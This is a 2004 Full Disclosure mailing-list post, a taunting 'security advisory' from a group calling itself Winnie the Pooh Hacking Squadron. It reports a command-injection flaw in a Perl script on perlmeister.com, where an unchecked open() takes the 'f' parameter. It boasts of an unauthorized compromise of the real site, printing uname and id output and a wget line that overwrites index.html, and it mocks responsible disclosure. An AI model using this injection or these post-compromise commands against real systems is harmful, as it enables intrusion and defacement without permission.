Full Disclosure mailing list archives
WtPHS Security Advisory 0x02
From: <wtphs () hushmail com>
Date: Tue, 4 May 2004 23:41:19 -0700
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 .--------------------------------. -[ Winnie the Pooh Hacking Squadron ]- '---| Security Advisory 0x02 |---' ..xx.. xn8888888888888hnnnnnnnns ... .n8888888888888# #8888888Lx88888. x8888888888888f .ued8888888888888*8 .88888888888888f z8888888888888888" .`. :88888888888888E z88888888888888888F @$ L xn8. **8888888888888E d8888"""t8888888888 <$F $ :888888hnx....xH8888888888888Fd888f z$b`8888888888b ` 8L X888(*88888888888888888888888V8888'.$$S,888888F#"`"` ^"*= `8888c #88888888888888888888888888 3$F 388F" uu* .uuuu. ?c "88888c '"*****888888888888888888,?$ 38Lu$RF .ed888888$ 88o ^*88888be x88888888888888888888," .28888F d888888888F 4888E "***" x88888888888888888888888888888888L'*8**88888$ ."88*- _.>=- :888888888888888888888888888888888* . "#" dR ..o d8888888888888888888888888888888888 :88888bnx \d88N *""=- - -=-- .*\8888888888888888888**********"*** 888888888 48888 d$$ :88888888888P**" ...z8nnnn8ene . ""?3888888 d888f ^""- . _ 8888888888Lnn888888888888888+*" ue888888888 8888~ 85" d888888888888888888888888F" ued8k ?88F888888f **#` :8f 888888888888888888888F" uod888888- d888*" .ud8@ 'F988888888888888F" .od888888F"`.8e 4$F d888P ' 88888888888" .ud8888888F` ud8888b uod$F $P X888# `888888P" .e88888888P" .n8888888" @$$$$ dP 8*" .u. ^888F ud888888888# .n8888888888 $$$$ :# ue8888. ` .e888888888F" x8888888888888 '"" ud8888888F "*8888888" .d88888888888888888bee*` xd88888888F u@8e. ``"" ******88888888888*3@*" .d88888888F z$RR8888beu ...uuueeed$888**""Le$# z88888888P e$R88888888# .d88888888**#"***5RRR8P 888888888888888888888* u88888888..eeeeeeeu.^#8f Software: www.perlmeister.com Version: up to Last modified at Sun May 2 01:03:01 2004 Vulnerability: Author Found date: March 2004 Release date: today Researchers: Winnie The Pooh Hacking Squadron Favourite drink: Black label [0] LICENSE 1) No whitehat whore can use this in his pseudo-security work 2) divineint can't trade exploit attached to this advisory on #darknet@efnet nor other lame channel (for people who don't know it yet - his new nick is illumanti(z), is he hidding ?!) 3) Every hacker can implement exploit for this vuln in his codes to protect them from script kiddies and whitehats. 5) WtPHS doesn't contact vendors [1] INTRO Mike has written 99 uber informative perl howto's, that have been printed in some issues of the German mags IX and LINUX Magazin. Moreover he's the author of Goto-Perl5 published by Addison-Wesley. Maybe that's why his domain is called perlmeister... Unfortunately Mike seems not to have a clue about securing his perl scripts. [2] Details In "jphtml"Perlmeister uses the open function w/o checking for dangerous content: [...] open FILE, "$DATDIR/" . param('f') or [...] The 'f' parameter can have arbitrary values. [3] Exploitation Our goal here was to get control over the EIP register. Once EIP is under control we can run any desired command. So our attack buffer loocks as follows: buffer[|desired_command|]; We however used the builtin exploiting capabilities of konqueror. [4] EDUCATIONAL VALUE Even Perl <masters> write buggly code. [5] IMPACT uname -a Linux sprite 2.4.25 #9 SMP Wed Feb 18 21:01:52 PST 2004 i686 unknown id uid=1212(perlmeis) gid=1212(perlmeis) groups=1212(perlmeis),110(compile) . . wget x.x.x/index.html -O ./index.html . etc [7] DISCLOSURE TIMELINE 2/5/2004 Bug disclosed on perlmeister.com [How I was hacked by WtPHS] => www.perlmeister.com/advisory.txt 3/5/2004 Modification noticed / Bug corrected => www.perlmeister.com/advisory.txt defaced by vendor -----BEGIN PGP SIGNATURE----- Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 2.4 wkYEARECAAYFAkCYfIwACgkQJLOqzu1mkg/4+QCeJEr2GlCzZmJRW+1Rm6PtI41tjTAA oIroBTMi2GdZp1bkUMvyVI5Rn8Yi =ELgz -----END PGP SIGNATURE----- Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Free, ultra-private instant messaging with Hush Messenger https://www.hushmail.com/services.php?subloc=messenger&l=434 Promote security and make money with the Hushmail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- WtPHS Security Advisory 0x02 wtphs (May 05)